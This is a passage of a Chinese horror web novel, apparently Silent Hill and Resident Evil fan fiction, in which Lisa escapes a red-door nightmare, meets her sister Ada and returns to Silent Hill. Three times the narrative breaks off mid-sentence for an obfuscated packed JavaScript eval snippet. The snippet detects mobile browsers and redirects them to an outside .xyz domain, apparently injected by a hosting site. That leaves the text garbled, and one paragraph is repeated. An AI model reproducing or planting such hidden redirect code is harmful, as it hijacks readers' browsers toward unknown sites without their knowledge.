钥匙向左扭了三圈,锁没有反应,我回头看了一眼,人脸虫们全都在门口想进来,可惜不懂礼让,你挤我我挤你谁都不让谁。钥匙又反向扭了三圈,还是打不开。 到底怎么回事?!我弯下腰检查,发现除了那把显眼的大锁外,还有一把隐藏很深的小锁,将钥匙插进去,轻而易举的就开了! 我傻了眼。 怎么还有一把锁?!该死的!我气死败坏,现在再去找另一个钥匙肯定来不及了。我退后一步,举起撬棍用力砸那把大锁。很幸运,它是个豆腐渣,没几下就被锤地断裂开。 我终于得以离开。 三楼和二楼之间只有一个斜坡相连接,我爬的很吃力,可对于那些人脸虫来说轻松多了,简直如鱼得水,它们一个个扭着屁股追赶上来。 “小丽莎。” 我一愣,猛地回过头。人脸虫们全都张开嘴,整齐划一地含着我的名字,“小丽莎。” 无数声音叠加在一起,竟然有一种回音的错觉,它们一遍又一遍的念叨着: “小丽莎,小丽莎,小丽莎……” 它们为什么知道我的名字,为什么在喊我的名字。斜坡倾斜度很好,质地又光滑,我几乎是手脚并用,但仍然走两步话一步,在巨大的压力下我几乎崩溃,不顾一切地大吼:“闭嘴,都给我闭嘴!” 身后的声音停顿了一瞬,然后又继续,音调更高速度更快: “小丽莎小丽莎小丽莎小丽莎小丽莎小丽莎小丽莎小丽莎……” “丽莎丽莎丽莎丽莎……” 简直疯了! 好不容易到达了斜坡尽头,还没等全身都到达平台,我就站了起来。这里是三楼,除了几根承重柱外没有别的东西,连墙壁都没有,一眼望去一览无余。金色的阳光透过碎裂的窗户洒进来,暖洋洋的,太阳直面着我,散开的光晕宛若丝绸纱布,一片岁月静好。 ——但是没有红门。 最后一根维持着理性的神经几乎断裂,我绝望地捂住脸。门呢,红门呢?! “小丽莎小丽莎……” 人脸虫们熙熙攘攘地追了上来,我透过指缝间的空隙看向它们。这些家伙比一开始少了很多,也许是在一层与二层的楼梯间毫无意识间致使了一部分的死亡,这从大部分人脸虫腹部沾染着的绿色液体能看出来。 脑海里回忆起那些人脸虫被同伴门压死爆浆的一幕……对啊,它们是可以被杀死的,我为什么一开始没有意识到呢? 我恍然大悟。 最前方一只人脸虫的脑袋是属于男性的,却留着长头发,黑色长发随着动作缓慢摇晃,时不时挠到下面白色的躯体。它眼睛一眨不眨:“小丽——” 撬棍夯了过去,脸瞬间变形,它瘫倒在地,口中喷出黑红色的血,但仍然在口齿不清地喊着我的名字。我又是一棍下去,将它的头骨打碎。 它翻着白眼一动不动,彻底死了。 我如法炮制,疯狂地重击其他人脸虫,将它们的脑袋全都打碎,锤成亲妈都不认识的样子。 不知道过了多久,我从一开始有意识地攻击变为麻木地挥舞撬棍,一具又一具尸体倒下,将道路堵住,我踩着它们白嫩的身躯向前走。 我回到了二楼,这个白到极致的地方。身上裹满了溅来的血,恶心地我直翻白眼。脚下在洁白的水泥地上留下了一道又一道脚印,分外醒目。我走的很慢,因为太累了,将那多人脸虫全都杀死是个体力活,更何况还要躲避他们的攻击。 没错,人脸虫会咬人,真恶心。不过我没有被咬到,真幸运。 在前方不远处,我看到一个人影站在那里——是塑料假人,要是忽视作为无面假人这一属性,它简直和真人一模一样。我握紧了手里的撬棍,但五指却不听使唤地放松。不是我手下留情,而是我真的没有力气了。 哐当一身,撬棍从手中滚落,而我无力地跪倒在地。浑身上下连同骨头都酸软的要命,我已经很久没有这样过了,记得上一次感受这种痛苦还是被绑在病床上遭受电击治疗的时候。 眼前忽然一片模糊,又忽然清醒,直到水珠滴落在满是血的手背上时,我才后知后觉自己哭了。脸上被泪水糊满我却不能擦,因为我全身都是那些人脸虫的血,我嫌脏。 同样的我也不知道自己为什么哭,不是因为害怕的情绪也不是因为身体上的疲惫感,更不是因为回忆起在精神病院里的治疗时光。这明显源自于更深刻的记忆,可惜我的过去一片虚无。我努力回想,但只能想起人脸虫们恶心的蠕动模样以及被我击打后狼狈不堪,血和脑浆混合的面目。 余光中假人朝我走了过来,明明是塑料做的,却走的很稳当。它来到我面前蹲下,用那张除了高挺鼻梁外一无所有的脸望着我。 “干什么?”我问它,但因为刚哭过,声音闷闷的。我估计把脑子哭坏了,它又不会说话。 它下一秒竟然抬手擦去我脸上的血和泪,然后…… 亲了上来。 不能说是亲,因为它连嘴都没有,只是用类似于嘴的位置贴上了我。 我呆愣了好久,一种不明不白的情绪在心中蔓延开。 假人近在咫尺,我的睫毛颤了颤,突然捧着它脸回吻。我手上的血糊了它一脸,粘稠又血腥。手心被因为血液变得滑腻,逐渐下滑,我从捧着它的脸,改为搭在双肩,唯一不变的是深吻的唇…… 我们分开了,假人微凉的指尖在我掌心写写画画,我辨认出它写的是—— 留在这。 什么意思? “小丽莎。” 我诧异地回头,只见身后是一只扎着马尾辫的人脸虫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988161|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会这样……还有一只?!我惊愕不已,回忆着刚才的屠杀,明明该一只不剩才对,怎么会…… 我捡起手边的撬棍,打算当场干掉它,却发现自己的站不起来了。我的腿软的可怕,连基本的维持平衡都成问题,完全依靠假人搂着才不至于摔倒。 马尾人脸虫走了一半不动了,就在我庆幸又疑惑时,它张开嘴,深处一根血红色的喉管伸了出来,前端长着的里侧带着尖锐细小的利齿——这又是一张小嘴,不同于本体的不苟言笑,小嘴的嘴角上扬,开心至极。 人脸虫嘴大张下巴几乎脱臼,而喉管越来越长。 啪叽。 人脸虫爆开了,绿色的汁水溅的到处都是,它干瘪残破的身体上踩着一只脚。三角头嫌弃地一脚踢开它,朝我们走来。 上次被他差点撕裂的阴影还在,可现在我又跑不了,只能自我安慰一般地靠在假人怀里。当然这只是表面,背后握着撬棍的两手蓄势待发。 三角头伸出手,却不是抓我,而是扣住假人的后颈提了起来,假人悬在半空中,拼命挣扎,始终一言不发,像沉默的待宰羔羊。他又攥住假人的后腿,用力一扯,假人分崩离析。 我目眦尽裂:“不要!” 假人四肢噼里啪啦地散落在身边,就像下冰雹一样,唯独脑袋掉进我的怀里。我颤抖着手捧起,那上面还沾有我刚才摸上去的血迹,甚至还带着未消退的余温,是我给他的。 还没等悲伤转化为愤怒,我也被三角头揪着后领提了起来。我疯狂挣扎,生怕自己也被撕成两半,全然不在乎领口勒的我几乎窒息。 “放开……放开我!”我哑着嗓子吼道。 三角头把我怀里抱着的假人头夺走扔掉,然后像小鸡仔一样拎着我走上三楼。他踩着一具具人脸虫的尸体来到没有玻璃的窗边,有力的胳膊向前一甩—— 我被扔出了窗外。 身体失重,我瞪大双眼,所看到的东西从站在窗边冷血残暴的三角头,然后在身体不自觉空中翻转后,变为了黑白色的地面。 我捂住脸,却因为过于惊恐控制不了闭上双眼。地面越来越近,小草和沙石变得清晰可见,我的瞳孔缩到极致,血液一股脑子全都涌上大脑。我的思绪一片空白,只是清楚的直到一件事——我要摔死了。 而就在千钧一发之际地面凭空出现的一扇红门,门吱呀一声向后打开,我坠落进去。 . “丽莎·王,醒醒,你怎么样?” “噫,噫,噫!” 我猛然睁开双眼,眼球上下左右转动,瞳孔收集着一切信息。我还在游乐园里,但一切都是彩色的,泥土是棕黄的,草是绿色的。身边还有一人一异形,都在焦急地说些什么……我回来了? “狗狗!”我抱住小狗的脖子,不自主地哽咽。 “发生什么事了!”里昂焦急地问:“你全身都是血,遇到危险了吗?” 我想起身,里昂连忙来扶我,小狗则趴在后面给我当靠垫。醒来的第一件事就是清理血迹,我从脏兮兮地挎包里掏出湿巾,使劲擦着脸和手上的血。我将想所有遇到的事情都一五一十地全盘托出,却不知道为什么一涉及到红门里面的事,我就说不出来了,喉咙里像是堵着一块石头,噎得慌。 最后我点点头,半糊弄道:“对,遇到怪物了。” 里昂懊恼地拍了拍头,“该死,我当初就不该放任你一个人……抱歉。” “没事。”我嘴上在应答,手里也不停歇。因为没有镜子我看不到脸,只知道手上的血差不多都干了,变成一块一块的,特别难清洗。 “行了别擦了,皮都要被擦没了。”里昂一巴掌拍掉我疯狂擦拭的手,夺走了湿巾。 我这才发现湿巾早就变得破破烂烂,还全是烂洞。我低头看手,胳膊和手上仍然有着不少血迹,但没有血迹地方的皮肤也红彤彤的,似乎还有点疼。估计就像里昂说的,再多擦一会皮都要没了。 “我知道你们小女孩都爱美,但血迹不是像你这样清洗的,等到了安全的地方以后我来帮你,保证衣服完好如初。”他将我扶着站起来,“但当下最重要的是离开这个鬼地方。” “能走吗?”他问我。 我动了动脚,发现在红门内酸软不堪的腿现在竟然没有一点不适,反而很轻松吧。我点点头。 “那就好。”他说。 8. 第 8 章 虽说当前最重要的是离开这里,但估计是看我状态实在令人担忧,里昂在游乐园主题酒店二楼收拾出来一间屋子用来休息。顺便一提,据他说酒店里面其实有不少怪物,但都被他清了个干净。我很佩服他这点,就像开了挂一样,什么都难不倒他。 房间里的浴室龙头可以出水,但都是凉水,冰冷刺骨。我去管不了那么多,冻死总比脏死好。我快速清洗掉身上的血迹,然后是衣服。 除了外套以外的衣服算得上干净,不过外套恐怕是不能要了,血迹根本洗不干净,完全吃进布料里了。 做完一切,我抱着小狗闭上眼睛小憩。 自从红门里出来以后,我总觉得有些不真实,经常会被突如其来的风吹草动吓地神经紧绷。里昂自然也发现了,但他自动将这一切归结为我想太多,并劝我放平心态。 我嘴上说着谢谢关心,但那种打心底的阴森发毛感始终没有消失,胸腔里依然是冰凉凉的,时不时抽搐一下,就像被中世纪女巫攥住了心脏。 “呼……”我抱着小狗吐了口气,然后继续将脸埋进它的颈窝里,隔绝空气。虽然会令人窒息,但我却十分安心,似乎只有这种濒临死亡的绝望才能抵消我心里的恐惧。 因为过于疲惫,我入睡的很快,但睡得并不踏实。 大脑内闪过无数画面,又线条构成,纷繁错乱,黄的绿的紫的蓝……线条组成人脸,嘴巴张合却不发出声音,线条拼凑出环境,就像秋末时分枯萎的街道,索然无味又令人遐想。 “丽莎,醒醒。” 我猛地睁开双眼,惊醒时的心悸很不好受,我好像要猝死了。里昂也被吓到了,等我缓和后才说: “趁你睡觉的时候我四处逛了逛,发现在游乐园另一个出口的周边地区有信号。” 他晃了晃手里老的不能再老的手机,“我们能出去了。” . 游乐园的外面是一片荒地,连棵树都没有,杂草倒是不少,乱七八糟的纠缠在一起,甚至有的营养过剩窜的老高,都快到我的小腿肚子了。 起初我以为因为这里土地肥沃,直到无意中踢到了一块奇形怪状的白色骨头。 吃血肉长大的,不旺盛才怪。 远处一家直升机哒哒哒的飞了过来,落地时掀起一阵风,把藏在荒草里的枯叶子和可怜小虫吹的到处乱飞。我头发也是,飘地找不着北。 直升机舱门打开,里面坐着的不是什么想象中的救援队,至少外貌不像,一点也不专业实在太业余了。坐在临近舱门位置的是一个穿着红裙子的女人,留着齐耳短发,明明是和我一样的东亚面孔却尽显妩媚。 她裸露的两小臂结实无比,甚至直接单手握着顶上的把手,半个身子吊在舱外,举手投足间都透露出一种吊炸天的气息。 我觉得自己应该认识她,却叫不名字,身旁的里昂先我一步开了口:”艾达,你怎么来了?” 艾达!我两眼瞬间亮晶晶,是姐姐,我的姐姐,她居然长的这么漂亮。 “我不来,难道等着我的妹妹被骗到你们联邦政府当吉祥物吗?”姐姐嘲讽一笑,“我可不想多个把柄,里昂。” “这么多年没见,你就这么冷淡?” “不,我明明很感谢你告诉我妹妹的消息,让我能亲自来接她。” “我可没感觉到。” 从里昂的语气里我听出了点撒娇的调调……嗯?撒娇? 姐姐没有回答他,而是转向我,眉眼间瞬间变得柔和,可以算得上柔情似水,“亲爱的,几年不见你竟然长这么大了。” 我这才想起来自己到现在都没有喊过她姐姐,没再管两人之间诡异的气氛,迫不及待想要与她叙旧。 姐姐将我拉上直升机,让我坐在里侧。旁边还有一个满脸胡子的大叔,我有点怕生,没敢看他。姐姐摸了摸我的后脑:“系好安全带,我们要出发了。” 我点头。哒哒哒的声音再次响起,螺旋桨启动,直升机摇摇晃晃地起飞。我第一次做这样式的飞机,心里发慌。 大叔安慰我:“放心吧,只是看起来不稳当而已,但可比你坐过的所有交通工具都安全一万倍。” 他朝我竖起大拇指。 谢谢安慰,我弯唇笑了笑,笑的比哭还难看。不稳当就是不稳当,请不要掩饰,否则更令人心里没底儿了。 “艾达!” 里昂突然有了动作,一脚踩上直升机边缘的踏板,一手撑着舱门。直升机被迫停止上升,坐在我身边的胡子大叔都倒吸了一口凉气。这是一个极其危险的动作,我吓得心惊肉跳。 里昂似乎想说什么,但喉结滚动,什么也没能吐出口。我当然知道他对姐姐的心思,看他这幅样子干着急,于是我决定做一回好人,也算是报答他这么长时间以来对我的照顾。 “我们还会见面吗?”我问。虽然眼睛看着里昂,但询问对象却是姐姐。 姐姐一愣,似乎没想到我会这么说。她无奈地笑了笑,“也许吧。”说着她瞥了一眼里昂。 里昂接收到她的视线,先是抿了抿唇,然后笑着跳了下去,脚踩在草地上。 他一离开,直升机就像收了锚的船,直冲云霄。我凑到舱门冲底下那个芝麻大小身影挥手告别:“再见!里昂!” 距离那么远,螺旋桨那么吵,也不知道他有没有听见。 胡子大叔把我拉了回去,按在位子上坐好。“小心磕到脑袋。”她说。 姐姐不像我印象里那样,信里她总是有说不完的话,卡其色的信封都快被塞爆了,纸页上的字密密麻麻,但当我们真正见上面的时候,她却比想象中沉默的多。 她关上直升机舱门后,就靠在椅背上闭目养神了。我想搭话但又担心打扰她,一肚子的话语憋在心里堵得慌。我低头摆弄安全带的锁扣,掩饰自己有些烦躁的情绪。几根发丝垂在脸前,我鼻子呼吸的时候会将它们吹起,吸气时又会回归原位。 这时候我发现小狗竟然不在飞机上!打算像姐姐一样闭目养神的我蹭的一下坐了起来,姐姐睁开眼睛,问:“怎么了?” “小狗没上来。” “狗……?”她疑惑。 我刚想说我们可能忘了小狗,把它孤零零丢在寂静岭里,就从旁边的窗户看到地面上一个米粒大小,飞快移动的身影。直升机飞的并不高,连云层都没上去,地上的花草树木和道路行人都一目了然。 姐姐:“我没看到有什么狗,是有东西落下了吗?” 窗户外那个身影地移动速度和飞机相当,我惊诧于小狗的奔跑速度,也对姐姐面对小狗这个名字的不知情感到惊讶,但我没有继续解释,而是选择缄默不言。 总觉得不能告诉姐姐下面那个堪比地面飞机的飞天动物是小狗,也不能让他们见上面,否则会一发不可收拾。姐姐从事着的是保密工作,这就是这份工作会将小狗送入万劫不复的境地,被肢解,被端上手术台……一切皆有可能。 总觉得不能告诉姐姐下面那个堪比地面飞机的飞天动物是小狗,也不能让他们碰上面,否则会一发不可收拾,就像里昂和小狗碰面时那样。 “没有。”我笑着摇了摇头,之后便一言不发,只全神贯注地盯着窗外。途中姐姐还以为我想看风景,便和我换了个位子,让我坐在窗边。 这份沉默直到到达目的后才迎来了结束。姐姐先是跳下直升机,然后对我说,“直接跳下来就好,不用害怕。” 我确实不害怕,舱体和地面的距离,只有半人高,我想都不想就蹦了下去。姐姐本想接我,估计是没想到我这么果断,手刚伸出来我就下来了。 没做好准备是有代价的,我落地后没站稳,哇一声差点脸朝地摔下去。姐姐连忙扶住我,我依靠在她柔软的胸脯中脸瞬间发烫,立刻挣脱开她。姐姐笑了笑:“你好像比以前活泼了。” 有吗?我不知道以前的自己是什么样的,听姐姐这么说也只觉得迷茫。不过……现在是个好时机。姐姐估计接下来会送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988162|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我回家,说不定还会在家里带上一会,我们有很多的时间时间可以相处。我兴奋的头发丝都在发颤,紧紧抱着她的胳膊,“姐姐,我们……” “艾达。”胡子大叔突然出现打断了正准备撒娇的我,他无视我一脸怨念径直走到姐姐身边附耳说了些什么。我当然能听到一些内容,但听不懂。什么寄生虫,什么样本,我一头雾水。 姐姐一脸严肃,在胡子大叔说完后她叹了口气,用怜爱的目光看向我。 我心中警铃大作,更用力地抱住她,“姐姐……” “抱歉,丽莎。”她温柔道:“我还有工作要忙,得尽快走了。你会乖的,对吧?” 我想挽留但知道挽留没有用,内心几番挣扎下我还是向后退开一步,扮演着好孩子的模样,就像里昂教我的那样,“那……再见,姐姐。” 我又补上一句:“有小狗在,不会觉得孤单的。”不知道这句话到底是说给姐姐,还是自己听的,顺便还带着一丝试探。 姐姐微笑:“是吗,从刚才就想问了,你养了条可爱的小狗?” “不……”我心下一沉,她真的不知道小狗。面对姐姐的疑问,我掩饰住不自在的神色,敷衍过去:“祝你一路顺风,姐姐。” 直升机飞离了上空,螺旋桨的噪音几乎消散。小狗一蹦一跳地来到我的身边,飞速跑了那么久,脸不红气不喘,身体素质好到要命。我看着它自言自语:“姐姐为什么不知道你的存在,她应该知道的,对吧?” 小狗歪了歪头,发出一声哼唧。 “算了,当我没说。”我压下心中的怪异感,摸了摸它的脑袋。 . 房子的隔音很好,再加上周围的邻居们都出门上班了,只有我一个自由职业人士还赖在家里,整座公寓安静的吓人。电视里面的新闻主持人正在毫无感情的念稿子,播报的都是一些莫名其妙的新闻,譬如某地一黑一白的两位大妈在马路上骂街,互扇耳光,警察赶来劝架却被误甩两个耳光。 手机亮了亮,拿起一看是报社发来的信息,大意是文章需要修改。我是一名写手,工作内容很简单,就是对方发材料给我,我按照内容编纂文章。报社那边要求所有文章都保证极高的客观性,能够完美叙述观点却不夹带任何感情。这对我来说并不难,或者说简直就是为我量身定做的,自从失忆以来我的脑子里好像缺了什么东西,不是病理性的,而是那种看不见的...... 如果非要形容,就差不多是感性吧。 其实这份工作是姐姐塞给我的。想来也是,像我这种社会化程度低到谷底的精神病想要找工作简直难如登天。用姐姐的话说,她可以养我一辈子吃喝不愁,但不能眼睁睁看着我变成个废人。 一开始她和我都以为干不长,姐姐这么觉得是因为担心我适应不了正常人生活,我则是因为知道自己脑子病,无论是谁都不想与神经病共事。可谁知道,我不仅得心应手,还大受赞美。 我询问:[需要修改什么?] 编辑回答:[其实最近咱们报社高层大换血,新来的社长口味和前任完全不同。她觉得你的文章太缺乏人情味,希望能带点感情.......当然不是私人感情。比如你这次的文章讲述的是受虐孩童被某家庭领养,洗去心中阴霾并成功融入社会的故事。文章的中心点是温馨治愈以及人与人之间的羁绊,社长认为你只是单纯叙述故事,太过于索然无味,希望能从孩子的角度去写他如何在父母、朋友这些周围人的帮助下走出心理阴影。主要点在这孩子身上,如果能剖析他内心就更好了。] [可我不是那孩子,该怎么知道他的想法?] [嗯......这好像不难吧?简而言之就是共情,你作为写手需要先共情这孩子,然后让读者能够共情所阅读的内容。 我知道突然改变写作方式确实会造成困扰,没关系,截稿时间在下个月,你可以慢慢调整。 对了,如果你需要更多采访记录的话可以来报社找我。] 9. 第 9 章 采访记录?我当然要。一篇报道性的文章如果没有采访记录作为参考那就像是烧饭不放盐,不仅难吃至极还没有灵魂。 只是报社我还没有去过呢,不因为别的,只是我害怕人多的地方,单纯的不想出门而已。既然不出门,报社自然也去不了。但今天我可能要突破自己了,为了那篇该死的文章…… 以及我的饭碗。 我的编辑名叫阿萨里,是一位标准欧式长相的女性。她在大众眼里算是个大美女,我也很喜欢她的脸,可惜了,要不是我对于人类有着无法解释的恐惧,我恐怕会更爱她一点。 报社里乱哄哄的,阿萨里领着我走过一个又一个工位,最后来到角落靠窗的一张桌子前。她弯腰在堆成山的文件里又翻又找,我看着摇摇晃晃的纸山,不由得退后了几步。 “找到了!”阿萨里的声音此时响起,“尤克斯·伊利亚特,涅槃重生第一人。” 她晃了晃手中的文件,然后交给我,“伊利亚特是个天才,如果论写作天赋,他可比你强多了,小小年纪天纵奇才,可惜十六岁那年火灾过后毁了容,否则就是才貌俱佳。” 我不知道她这话什么意思,结果后随意地翻了翻。她一挑眉:“你难道……没有觉得不高兴?不快?或者……嫉妒?” “为什么?”我莫名其妙。 阿萨里撇了撇嘴,“我在看采访的时候觉得伊利亚特不是普通人,但你更不是,甚至连人该有的正常……”说到这里她突然停止了,然后叹了口气,“算了。” 她将我送到报社外,招了招手算是告别: “再见。” . 尤克斯·伊利亚特,双亲的意外产物,父亲在出生后不知所踪,母亲独自拉扯他到五岁那年,跳河自|尽。他在孤儿院呆了四年后被一位名为堂施卡的中年男性领养走,并开始了长达五年的噩梦。 这场噩梦直到伊利亚特十六岁那年才得以结束。1999年,那年这件事还登过报纸,所以我记得很清楚。 据尤克斯所说,被领养后,堂施卡带着他离开原来的国家,来到了这座城市。虽然两人生活在城市中心,但周围领里乡亲并不知道堂施卡有一名继子,只因为堂施卡是个变态,将他囚|禁在地下室里受尽折磨,终日不见阳光。 具体的内容尤克斯不愿意透露,只说了在一场火灾后,他终于有机会逃出生天向周围求救。 尤克斯·伊利亚特。我当然知道他,也知道他的自传销量突破千万,自强不息的事迹和动人肺腑的文字让无数人感觉到力量。 我看过他的书,确实算得上是天纵奇才,但…… 感觉在隔岸观火,我指的是作者,也就是尤克斯·伊利亚特。 我放下材料,坐到电脑前开始码字。 手指在字母键上敲敲打打,又被全部删除。我真的无法理解如何带着感情去写文章,我确实有感情,也是个正常人,但是我和伊利亚特是两个不同的人,我该怎样才能从他的视角出发,怎样才能写出他心中所想。我甚至无法理解他。 时钟咔哒咔哒的走动,我在电脑前从白天坐到下午,手一会转签字笔一会搭在键盘上噼里啪啦打字,直到小狗的叫声都快把房子顶掀翻了才意识到没给它准备午饭,我的午饭也还没吃。现在是下午四点,可以直接当晚饭吃了。 桌面上堆着三个纸折的迷你小船,是我折的。我一直以为失忆就是忘却一切包括刻在骨子里的东西,但并非如此,这是我躺在病院床上百无聊赖时无意中折出一艘极其完美的小纸船时发现的。 在此之前,我不记得自己学过折纸。小纸船的出现就像穿破云层的光亮,可光只出现了一丝,浓厚云雾就再次聚集在一起,密不透风。 我来冰箱前慢悠悠的打开……然后关上,再打开。冰箱里竟然空无一物!我绝望至极,天知道我到底有多饿。 没办法,我只能出去买些东西。 附近还算得上繁华,虽然人流量是大了点,但该有的一样不缺。 门口的大型超市里应有尽有,但我这次来是有目标的。在挑选完需要的东西以后,我又去了肉类区。我一直不太喜欢肉类区,只因为有大量生肉,总萦绕着一股难闻的腥味,令人作呕。 小狗喜欢吃牛肉,最好是新鲜带血的,可这里是市区,从屠宰场运来这里都要好长一段路,哪怕是刚宰的,运过来都不新鲜了。 冰柜周围冷的要命,鲜红的牛肉和微微带粉的猪肉被裹满塑料膜放在里面。我选了一些投入篮子里。期间我根本没怎么看标签上的名称,无论是牛排猪排里脊还是内脏,对于小狗来说都差不多,反正它都吃。 “在这个天气,如果肉类不及时放入冷冻很容易腐烂。”听到声音我就扭过头,发现是那位中分头大叔,詹姆斯说话的时候一直盯着我放肉的篮子,“普通家庭好像很难有将这些全部放下的冰柜吧?” 我低下头。脚边的塑料篮子堆成了一个小肉山,因为担心放不下我还曾往里面塞了塞,这就导致篮子被挤的向外肿胀。 确实有些多了,虽然只够小狗吃五天。我缓缓放下手中正在挑选的牛肉,朝詹姆斯微微一笑,然后蓄力向上一提…… 提不动。 詹姆斯:“我来吧。” “谢谢。” 詹姆斯帮我把篮子提到了收银台,超市免费提供小推车,真是谢天谢地,要不然我真不知道这么多东西该怎么拿回家,总不能还请詹姆斯帮忙。 “你去过寂静岭了?”在分别前,他问我。 我点头:“刚回来不久。” 不知为何他的表情变得怪异,好像在上下打量我。这让我十分不解,“怎么了?” “没什么……”他声音很轻,在犹豫了一会儿后开口:“所以,你想起来过去的一切。” “没有。”我无奈地叹了口气,耸了耸肩,“还是毫无头绪。说实在的,去寂静岭这一趟真是受罪,几乎是我的心理阴影。到处都是怪物,还总是碰到灵异事件,我一进红门就会有怪事发生……” 出口后我才发现可以在詹姆斯面前提到红门,不会像面对里昂时喉咙被胶水粘住一般。意识到这点后我开始肆意畅谈,把这段时间以来憋屈在心里的不快全都一吐而出,连同那个诡异的三角头: “……在第一次进入红门以后我就有了防备,可谁知道它竟然会玩阴招,阴招!”我跺了跺脚,“在我刚刚放下警惕心的时候,它突然从我背后出现,然后使我掉了进去!” 我叉着腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988163|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹了口气,“真该死!” “遇见了带着三角头盔的家伙?”他笑道:“看来,和你一见如故不是巧合。” 他又说:“你瞧起来比第一件见面时候活泼了很多。和我聊聊吧,你是怎么离开的?” “我的同伴带着我,他很厉害……” “不,我是指红门后的世界,你是怎么从那里逃出来的?” 我说:“我一路探索,杀掉那些怪物,然后……” 脑海里浮现出三角头拎着我扔到窗外:“就这样阴阳差错的回来了。” 他若有所思地点了点头,又问:“你还想去吗?” “什么?” “寂静岭。” 如果他不提还好,这么一说,我的心里像是有好多毛毛一样,挠地内里直痒痒。我揪了一下胸前的衣服:“我不……” “那就保持这样吧。”他拍了拍我的肩。在他身后,太阳彻底隐入了地平线,我这时候才发现天已经全黑了,他的笑容在路灯下更加和蔼……我不知道和蔼这个词是到底合不合适,毕竟詹姆斯只是年纪大,又没老到那种程度。 他说:“这样很好,不要再继续深入下去了。” . 回到家,我站在厨房里切肉,红色的肌肉纹理断裂开,血沾了满手。我将手掌伸向小狗,它伸出舌头一一舔掉。 “小狗……”我感受着掌心被温热的湿漉漉舔过,垂眸道:“明明经历了那么多,我却什么都没有想起来。你说,我需不需要再去一次?” 剧烈的疼痛感从手掌迸发开,我痛叫一声连忙收回手。小狗也意识到自己过分了,舌头上无意识竖起来的倒刺软了下去。 “噫噫。”小狗向我道歉。 “没事,只是破了点皮而已。”我清洗着伤手。小狗虽然是异形,却很干净,问题是我刚刚还在处理生肉,手上还有生肉的血,不及时洗干净会感染的。 我给手上裹了一块纱布,众所周知破皮比真的伤口疼得多,我现在手动都不敢动,针扎一样刺地难受。小狗趴在我的膝盖上,时不时用人样的眼睛悄悄观察我,它的眼睛和我很像,都是眼瞳多眼白少,有好处也有坏处。好处是漂亮,可如果不笑的时候会显得阴森森的,就像东方的恐怖电影,最喜欢无眼白的女鬼。 “我真的没怪你。”我手搭在小狗的脑袋上,轻轻拍着。小狗一直都很有分寸,无论情绪多么激动面对我时都会有所收敛,也许是怕伤害到我,因此这一次肯定是不小心。 至于为什么……我想到了受伤前说的话,它是不是不想我再去寂静岭?怀着疑问我问出了口,可谁知道话刚说出来,它就变得激动起来。 看来猜对了,我叹了口气: “我应该去,小狗。我忘了太多东西,虽然人活在这个世界上大部分记忆都没什么用,只属于痛苦和悲哀,但总有些是永远不能忘记的,就像姐姐。” 我捧住它的脑袋,举到眼前,“包括你,我甚至不知道你以前是什么样的,和我又存在什么关联。” 小狗充满灵性的眼睛黯淡了一下。 “况且上帝是错误的,人由记忆构成,而不是灵魂。”我紧紧抱住它,“只有回忆起一切,治好病,我才算得上是一个真正的人。” 10. 第 10 章 我踏上了前往寂静岭之路,当然也可以称作是找死之路。詹姆斯没有向我透露太多关于寂静岭和那扇红门的事情,哪怕我追问也无济于事。显然他在尽量抑制我的好奇心,但他没想到的是,仅凭借回忆这两个字就足以让我无视一切代价。 有了上一次的经验,我带上了很多东西,食物、水以及各种应急用品,还有把小刀,背包被塞得鼓鼓囊囊,不知情人估计以为我准备去旅游。 迈过那个写有寂静岭的标识牌后,整个世界开始变得魔幻起来。浓雾缭绕,几乎看不见前方的路况,连小狗的鼻子都被影响了,我随手捡了一根干树枝当做盲杖。 我和上次一样,仍然不知道找寻记忆以及治病的路在哪,只能到处瞎走。道路上时不时会出现裹尸袋,不过我知道它们没什么攻击性,也就没管,只专心于自己的目标。 偶尔遇到一两个没脑子非得追着我跑的裹尸袋,我看着它们走一步得费半天,叹口气让小狗一脚给踢飞了。 没过多久天色又开始变暗,怪物们变得多起来,从零零散散变成家聚众开会。路边的房子门都锁着,打也打不开敲门也不应,我干脆我窗户玻璃敲碎了,钻进去。 屋子里里面的布局有些眼熟,似乎我以前误入过,不过区别是灯都开着,特别明亮。从外面看普普通通,实际上里面华丽炫目,吊顶的水晶灯光芒柔和, 大厅里放置着长条沙发,上面好像躺着什么人…… 我走了过去,那是一个男性,五官端正,年纪差不多二十七八岁,身上盖着一层薄外套,睡的正香。我并不相信这是真人,如果是真人估计也不是什么正常人,正常人哪会来这。 只看了一眼我就移开视线,找其他适合休息度过夜晚的地方。 走了几步我觉得身后空落落的,回头一眼小狗正眼巴巴地站在沙发前,盯着那人看。 